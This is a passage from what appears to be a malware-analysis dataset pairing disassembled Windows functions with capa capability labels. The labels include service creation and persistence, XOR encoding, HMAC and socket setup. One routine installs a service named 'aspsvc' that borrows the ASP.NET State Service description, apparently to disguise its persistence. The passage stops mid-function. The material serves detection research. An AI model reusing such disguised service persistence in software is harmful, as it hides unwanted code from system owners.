joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400716e0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x1e0
mov qword [r11 - 0x158], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
lea rax, str.Provides_support_for_out_of_process_session_states_for_ASP.NET._If_this_service_is_stopped__out_of_process_requests_will_not_be_processed.
mov qword [r11 - 0x150], rax
mov r8d, 0x104
lea rdx, [r11 - 0x128]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
movdqa xmm0, xmmword [0x1402b6db0]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rax, [rsp + 0xc0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140071770
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x70]
call fcn.140072990
nop
mov r8d, 3
lea rdx, [0x1402b42c0]
lea rcx, [rsp + 0x70]
call fcn.140072af0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007180c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071807
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140071933
call fcn.1401c4e44
lea rax, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rax, qword [rsp + 0xa0]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r9d, 0xf01ff
lea r8, str.ASP_Service
lea rdx, str.aspsvc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
jne 0x14007188a
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, 2
lea rdx, str.aspsvc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
je 0x1400718bb
lea r8, [rsp + 0x98]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14007190c
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071907
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007192d
call fcn.1401c4e44
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1401c4e20
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret
call fcn.1401f53bc
int3
call fcn.1401f53bc
int3
Function at 0x140071940
Capabilities:
Query service status
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r8d, 0xf003f
lea rdx, str.aspsvc
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
jne 0x140071993
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rax, [rsp + 0x30]
mov r9d, 0x24
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
cmp dword [rsp + 0x3c], 3
jne 0x1400719fd
nop word [rax + rax]
lea rax, [rsp + 0x30]
mov r9d, 0x24
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1400719f6
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x3c], 3
je 0x1400719c0
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140071a21
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rax, [rsp + 0x30]
mov r9d, 0x24
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x140071a57
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x3c], 4
je 0x140071a70
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401c4e20
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140073270
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
je 0x14007330a
mov rbx, r8
test r8, r8
jle 0x140073302
mov rcx, rdi
call fcn.140077080
test rax, rax
jle 0x1400732e0
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.1401e3ae0
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x1400732fa
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140073302
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x1400732a2
sub r14, rbx
mov rax, r14
jmp 0x140073381
mov rax, qword [rcx + 0x40]
mov rsi, r14
mov r9, qword [rax]
test r9, r9
je 0x140073321
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140073323
xor ecx, ecx
movsxd rbx, ecx
test r14, r14
jle 0x14007337b
test ecx, ecx
jle 0x140073357
cmp r14, rbx
mov rcx, r9
cmovl rbx, r14
mov r8, rbx
call fcn.1401e3ae0
mov rax, qword [rdi + 0x58]
add rbp, rbx
sub r14, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x40]
movsxd rax, ebx
add qword [rcx], rax
test r14, r14
jle 0x14007337b
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14007337b
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.1401f5cdc
sub r14, rax
sub rsi, r14
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400733a0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400733c2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14007343c
mov rdi, r14
mov rcx, rbx
call fcn.1400770a0
test rax, rax
jle 0x140073414
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1401e3ae0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14007342c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x140073434
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400733d6
sub r14, rdi
jmp 0x140073529
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140073453
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140073455
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14007348a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1401e3ae0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140073526
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x1400734c5
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140073501
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1401f68d0
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x14007353f
cmp rbp, rax
ja 0x1400734d1
mov r8, rdi
test rdi, rdi
je 0x140073526
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1401f68d0
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140073529
Function at 0x140073980
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400739ad
xor eax, eax
jmp 0x140073af3
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400739e7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400739e7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140073af3
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140073ae6
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140073a2a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140073a39
movsx ecx, dil
jmp 0x140073a8d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + gethostname]
test eax, eax
js 0x140073ae6
cmp eax, 1
jle 0x140073aa7
cmp eax, 3
jne 0x140073ae6
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.1401eed00
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140073aeb
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140073ad4
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.1401f5cdc
cmp rsi, rax
jne 0x140073ae6
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140073aeb
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1401c4e20
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x140078950
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140078984
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140078970
ret
Function at 0x14007ba30
Capabilities:
Set socket configuration

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov r14, r9
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rcx, r8
call fcn.1401c3010
test eax, eax
jne 0x14007bba3
mov rcx, rbx
call fcn.1401801d0
mov rbx, rax
mov rcx, rdi
call fcn.1401c3034
test eax, eax
jne 0x14007bbab
test rbx, rbx
je 0x14007bb3c
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x28]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
xor edx, edx
mov ecx, esi
call fcn.1400a32f0
mov rbp, rax
xor r9d, r9d
lea edx, [r9 + 0x66]
lea r8d, [r9 + 1]
mov rcx, rax
call fcn.1400a6d20
mov r8, rbp
mov rdx, rbp
mov rcx, rbx
call fcn.1401809a0
mov r9, qword [rsp + 0x90]
add r9, 8
cmp qword [r9 + 0x18], 0x10
jb 0x14007baf1
mov r9, qword [r9]
xor r8d, r8d
lea edx, [r8 + 0x37]
mov rcx, rbx
call fcn.14017f390
mov rdx, rbx
mov rcx, r14
call fcn.140069be0
cmp al, 1
jne 0x14007bb57
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x66]
mov rcx, rbp
call fcn.1400a6d20
mov dword [rsp + 0x28], 0
lea r8, [rsp + 0x28]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1401c4e20
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, rbx
call fcn.140180c70
mov rcx, rdi
call fcn.1401c3010
test eax, eax
jne 0x14007bbb3
mov rcx, rbx
call fcn.14017f840
nop
mov rcx, rdi
call fcn.1401c3034
test eax, eax
jne 0x14007bb9b
mov dword [rsp + 0x28], eax
lea r8, [rsp + 0x28]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
xor eax, eax
jmp 0x14007bb3f
mov ecx, eax
call fcn.1401c2b24
nop
mov ecx, eax
call fcn.1401c2b24
nop
mov ecx, eax
call fcn.1401c2b24
nop
mov ecx, eax
call fcn.1401c2b24
int3
Function at 0x1400beb10
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1401c5c90
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x1400d2c20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
mov eax, 0x20
call fcn.1401c5c90
sub rsp, rax
mov rbx, rcx
mov rsi, rdx
mov rcx, rdx
call fcn.1400d1780
test eax, eax
je 0x1400d2c5f
xor edx, edx
mov rcx, rbx
call fcn.1400d1c20
mov eax, 1
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbp
mov ebp, dword [rsi + 8]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
mov r14, qword [rsi]
lea eax, [rbp - 1]
movsxd rdi, eax
xor eax, eax
mov rcx, qword [r14 + rdi*8]
cmp rcx, 1
sete al
sub ebp, eax
cmp rsi, rbx
je 0x1400d2ca7
mov edx, ebp
mov rcx, rbx
call fcn.1400d21e0
test rax, rax
je 0x1400d2d0d
mov eax, dword [rsi + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, qword [r14 + rdi*8]
mov rax, qword [rbx]
mov rdx, rcx
xor rdx, 1
inc rdx
neg rdx
shl rdx, 0x3f
lea r8, [rax + rdi*8]
shr rcx, 1
je 0x1400d2cc7
mov qword [r8], rcx
test rdi, rdi
jle 0x1400d2cfe
sub r14, rax
nop
mov rcx, qword [r14 + r8 - 8]
lea r8, [r8 - 8]
mov rax, rcx
dec rdi
shr rax, 1
or rax, rdx
mov rdx, rcx
xor rdx, 1
mov qword [r8], rax
inc rdx
neg rdx
shl rdx, 0x3f
test rdi, rdi
jg 0x1400d2cd0
mov dword [rbx + 8], ebp
test ebp, ebp
jne 0x1400d2d08
mov dword [rbx + 0x10], ebp
mov eax, 1
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret

Function at 0x1400eb740
Capabilities:
Get thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1401c5c90
sub rsp, rax
lea rcx, [0x1402ed750]
add rsp, 0x28
jmp fcn.1400be970
Function at 0x140118ec0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
mov eax, 0x30
call fcn.1401c5c90
sub rsp, rax
xor esi, esi
lea edx, [rax - 0x2f]
mov ebx, esi
mov rdi, rcx
call fcn.1400e7f00
mov rdx, rax
mov rcx, rdi
mov rbp, rax
call fcn.1400e7d70
mov r14, rax
test rax, rax
je 0x140118f6a
lea r9d, [rsi + 1]
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x58]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140118f43
mov rcx, qword [rsp + 0x58]
mov r8, r14
mov edx, ebp
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rbx, rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rbx*8]
mov rdx, rbx
mov rcx, rdi
call fcn.1400e7e00
mov rcx, rdi
call fcn.1400e8000
mov rbx, rax
test rax, rax
jne 0x140119006
mov edx, 1
mov rcx, rdi
call fcn.1400e7f00
mov rdx, rax
mov rcx, rdi
mov rbp, rax
call fcn.1400e7d70
mov r14, rax
test rax, rax
je 0x140118ff4
mov r9d, reloc.WS2_32.dll_shutdown
mov dword [rsp + 0x20], 0xf0000040
lea r8, str.Intel_Hardware_Cryptographic_Service_Provider
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140118fd6
mov rcx, qword [rsp + 0x58]
mov r8, r14
mov edx, ebp
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rsi, rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rsi*8]
mov rdx, rsi
mov rcx, rdi
call fcn.1400e7e00
mov rcx, rdi
call fcn.1400e8000
mov rbx, rax
test rbx, rbx
je 0x140118ffe
mov rax, rbx
jmp 0x140119006
mov rcx, rdi
call fcn.1400e8000
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x1401194e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, gethostname
call fcn.1401c5c90
sub rsp, rax
mov r10, rdx
mov dword [rsp + 0x40], reloc.WS2_32.dll_recv
add rdx, 0xf
lea rax, [r8 + 0xf]
mov r11, rcx
cmp r10, rax
ja 0x140119510
xor r9d, r9d
cmp rdx, r8
jae 0x140119529
movdqu xmm1, xmmword [r10]
movdqu xmm0, xmmword [r8]
pxor xmm1, xmm0
movdqu xmmword [r10], xmm1
mov r9d, reloc.WS2_32.dll_recv
cmp r9, 0x10
jae 0x140119551
sub r8, r10
lea rax, [r9 + r10]
mov edx, reloc.WS2_32.dll_recv
sub rdx, r9
nop
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140119540
mov rcx, qword [r11 + 8]
lea r8, [rsp + 0x40]
mov r9, r10
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov rdx, r10
call fcn.1400d7380
test eax, eax
je 0x140119582
cmp dword [rsp + 0x40], 0x10
jne 0x140119582
mov eax, 1
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret
Function at 0x140119730
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1401197b8
test r8, r8
je 0x1401197b8
mov rax, qword [rcx + 0x18]
cmp r8, rax
mov r9, rax
cmovb r9, r8
test r9, r9
je 0x140119776
add rcx, 0x20
mov r11, rdx
sub r11, r10
nop
movzx eax, byte [r11 + rcx - 0x20]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r9, 1
jne 0x140119760
mov rax, qword [r10 + 0x18]
cmp r8, rax
jbe 0x1401197b8
sub r8, rax
mov eax, reloc.WS2_32.dll_recv
cmp r8, rax
cmova r8, rax
xor ecx, ecx
test r8, r8
je 0x1401197b8
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r10 + 0x18]
add rax, rcx
movzx eax, byte [rax + rdx]
xor byte [r10 + rcx + 0x40], al
inc rcx
cmp rcx, r8
jb 0x1401197a0
ret

Function at 0x140125c90
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x28
call fcn.1401c5c90
sub rsp, rax
mov rcx, qword [rcx + 0x18]
add rsp, 0x28
jmp fcn.1400d1890
Function at 0x14013ce30
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xc8
call fcn.1401c5c90
sub rsp, rax
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov r12, qword [rsp + 0x130]
xor r14d, r14d
mov rax, qword [rcx]
mov rbp, r9
movsxd rdi, r8d
mov rsi, rdx
mov rbx, rcx
mov r15d, r14d
lea r13d, [r14 + 1]
test r9, r9
je 0x14013ce99
cmp r9, rax
je 0x14013ce91
test rdx, rdx
je 0x14013cf0a
test r8d, r8d
js 0x14013cf0a
mov r15d, r13d
mov qword [rcx], r9
jmp 0x14013cea1
test rax, rax
je 0x14013cf0a
mov rbp, rax
mov rcx, rbp
call fcn.1400b8e10
test al, 2
jne 0x14013cf0a
test rsi, rsi
je 0x14013cf72
mov rcx, rbp
mov r15d, r13d
call fcn.1400b9340
cmp eax, 0x90
jg 0x14013cf0a
cmp eax, edi
jge 0x14013cf30
mov rcx, qword [rbx + 8]
mov r8, r12
mov rdx, rbp
call fcn.1400b84c0
test eax, eax
je 0x14013cf0a
mov rcx, qword [rbx + 8]
mov r8, rdi
mov rdx, rsi
call fcn.1400b8710
test eax, eax
je 0x14013cf0a
mov rcx, qword [rbx + 8]
lea rsi, [rbx + 0x20]
mov r8, rsi
lea rdx, [rbx + 0x24]
call fcn.1400b83e0
test eax, eax
jne 0x14013cf4d
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1401c4e20
add rsp, 0xc8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
cmp edi, 0x90
ja 0x14013cf0a
mov r8, rdi
lea rcx, [rbx + 0x24]
mov rdx, rsi
call fcn.1401e3ae0
lea rsi, [rbx + 0x20]
mov dword [rsi], edi
mov ecx, dword [rsi]
cmp ecx, 0x90
je 0x14013cf7b
mov eax, ecx
mov r8d, 0x90
sub r8d, ecx
xor edx, edx
lea rcx, [rbx + 0x24]
add rcx, rax
call fcn.1401e3ef0
jmp 0x14013cf7b
test r15d, r15d
je 0x14013d056
lea rcx, [rsp + 0x20]
mov rax, rbx
sub rax, rcx
mov rdx, r14
lea rdi, [rax + 0x24]
lea rsi, [rax + 0x25]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x20]
add rcx, rdx
add rdx, 2
movzx eax, byte [rdi + rcx]
xor al, 0x36
mov byte [rcx], al
movzx eax, byte [rsi + rcx]
xor al, 0x36
mov byte [rcx + 1], al
cmp rdx, 0x90
jl 0x14013cfa0
mov rcx, qword [rbx + 0x10]
mov r8, r12
mov rdx, rbp
call fcn.1400b84c0
test eax, eax
je 0x14013d069
mov rcx, rbp
call fcn.1400b9340
mov rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0x20]
movsxd r8, eax
call fcn.1400b8710
test eax, eax
je 0x14013d069
mov rdx, r14
nop dword [rax]
lea rcx, [rsp + 0x20]
add rcx, rdx
add rdx, 2
movzx eax, byte [rdi + rcx]
xor al, 0x5c
mov byte [rcx], al
movzx eax, byte [rsi + rcx]
xor al, 0x5c
mov byte [rcx + 1], al
cmp rdx, 0x90
jl 0x14013d000
mov rcx, qword [rbx + 0x18]
mov r8, r12
mov rdx, rbp
call fcn.1400b84c0
test eax, eax
je 0x14013d069
mov rcx, rbp
call fcn.1400b9340
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
movsxd r8, eax
call fcn.1400b8710
test eax, eax
je 0x14013d069
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rbx + 8]
call fcn.1400b8780
test eax, eax
cmovne r14d, r13d
test r15d, r15d
je 0x14013d07d
mov edx, 0x90
lea rcx, [rsp + 0x20]
call fcn.140001c80
mov eax, r14d
jmp 0x14013cf0c
Function at 0x140162430
Capabilities:
Encode data using xor

Disassembly:
mov eax, gethostname
call fcn.1401c5c90
sub rsp, rax
cmp dword [rsp + 0x68], 0
je 0x140162459
lea rax, [0x140160aa0]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.140159800
lea rax, [0x14015fc60]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.140159550

Function at 0x1401693f9
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x1401695ea
push rbx
mov eax, 0xd0
call fcn.1401c5c90
sub rsp, rax
mov rax, qword [0x1402e44c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xe8], rbp
mov rbx, rdx
mov qword [rsp + 0xf0], rsi
lea rbp, [r8 - 1]
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0xc8], r14
lea r14, [rcx + 0xc]
shr rbp, 3
mov qword [rsp + 0xc0], r15
inc rbp
lea r15, [rcx + 0x14]
nop word [rax + rax]
movzx eax, byte [rbx + 1]
mov rcx, r14
movzx edi, byte [rbx]
movzx esi, byte [rbx + 4]
lea rbx, [rbx + 8]
shl eax, 8
or edi, eax
movzx eax, byte [rbx - 6]
shl eax, 0x10
or edi, eax
movzx eax, byte [rbx - 5]
shl eax, 0x18
or edi, eax
movzx eax, byte [rbx - 3]
shl eax, 8
or esi, eax
mov dword [rsp + 0x20], edi
movzx eax, byte [rbx - 2]
shl eax, 0x10
or esi, eax
mov dword [rsp + 0x28], edi
movzx eax, byte [rbx - 1]
and byte [r14], 0xdf
and byte [r15], 0xbf
or byte [r14], 0x40
or byte [r15], 0x20
shl eax, 0x18
or esi, eax
mov dword [rsp + 0x24], esi
mov dword [rsp + 0x2c], esi
call fcn.14014f6b0
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14014f050
mov r8d, 1
